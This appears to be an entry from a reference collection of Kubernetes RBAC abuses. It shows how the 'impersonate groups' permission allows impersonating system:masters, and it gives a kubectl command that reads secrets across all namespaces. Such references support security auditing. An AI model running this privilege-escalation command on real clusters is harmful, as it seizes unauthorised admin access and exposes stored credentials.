can-i gtfo?

Kubernetes RBAC Abuse Collection

View on GitHub

impersonate groups

Abuses

Privilege Escalation

Impersonate system:masters or other privileged groups to gain cluster admin access

# Impersonate system:masters group
kubectl --as-group=system:masters get secrets --all-namespaces